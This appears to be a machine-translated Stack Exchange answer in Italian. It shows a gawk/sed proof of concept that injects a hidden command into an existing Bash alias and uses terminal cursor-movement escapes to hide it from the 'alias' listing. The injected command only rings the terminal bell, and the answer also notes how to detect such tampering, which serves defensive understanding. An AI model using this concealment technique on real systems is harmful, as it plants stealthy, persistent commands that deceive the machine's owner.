È possibile nascondere un alias dannoso in Bash su Linux?


Risposte:


13

È possibile farlo aggiungendo l'alias esistente a quello dannoso e usando il movimento del cursore per nasconderlo se il aliascomando viene utilizzato per visualizzare le definizioni di alias. Non è un metodo perfettamente infallibile, ma potrebbe non essere rilevato per un po '. Tubazioni aliasattraverso hdvi mostrerà se ci sono sequenze di escape (movimento del cursore) nei vostri alias. Ecco una dimostrazione del concetto di come un comando dannoso potrebbe essere inserito in un alias:

alias | gawk 'BEGIN {
        FS = "[ =\047]"
        db = "\\"; sp = db " "; amp = db "&"
        sq= "\047"; bell = "\007"; esc = "\033"
    } 
    NR == 3 { len1 = length($2) }
    NR == 4 {
        alias = $2
        orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
        orig = gensub(" ", db sp, "g", orig)
    }
    END {
        hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
        for(i=1; i<len1; i++) {hide = hide esc "[C"}
        cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
    system(cmd)
    }'
  • Il sedcomando modifica un file chiamato "alias" sul posto - un vero script di questo tipo andrebbe per la gola e modificerebbe un vero file di script in modo che l'alias dannoso venga attivato alla successiva esecuzione.
  • La parte malevola di questo esempio suona solo il campanello del terminale in modo da sapere che funziona.
  • Il comando che è originariamente alias verrà eseguito con il contenuto di hidecome argomento, quindi è concepibile che tu possa ottenere un errore simile a quello riportato in questa domanda . Potrebbe essere possibile invertire le parti originali e dannose per influire su ciò, sebbene ciò interferirebbe con gli argomenti forniti all'alias. Viene effettuato un tentativo nello script sopra per contrassegnare la fine degli argomenti con --.
  • Invece di concatenamento le parti originali e maliziosi con &&, si potrebbe pipe uno all'altro e rendere lo script dannoso (rappresentato sopra con il semplice echocomando) funzione come stdinal stdoutpass-through o per modificare i dati come sta andando attraverso o per nascondere il suo esistenza ulteriormente non interferendo con altri reindirizzamenti
  • Un'altra possibilità sarebbe quella di includere l'alias originale all'interno dello script dannoso che potrebbe rimuovere la stringa di movimento del cursore dall'elenco degli argomenti e passare il resto all'originale.
  • Ho scelto arbitrariamente i record 3 e 4, un codice più intelligente potrebbe indirizzare particolari alias, ma devono essere adiacenti (o il movimento del cursore potrebbe essere reso più complesso).
  • La hidestringa potrebbe essere modificata per includere diversi movimenti del cursore e il testo dell'alias originale in modo che il aliascomando sembrerebbe mostrare l'alias non modificato invece di nasconderlo insieme alla parte dannosa.
  • Per provarlo come scritto, devi avere almeno quattro alias attivi, eseguire questo script, quindi eseguire il sorgente del file risultante con . aliases. Quindi puoi provare a utilizzare l'alias interessato e vedere come appare quando lo fai alias|hd.
  • Questo potrebbe senza dubbio essere riscritto in centinaia di modi diversi: tutto meglio.
  • Quanto è realistico questo tipo di minaccia? Non ne ho idea. Ma se posso farlo ...
Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.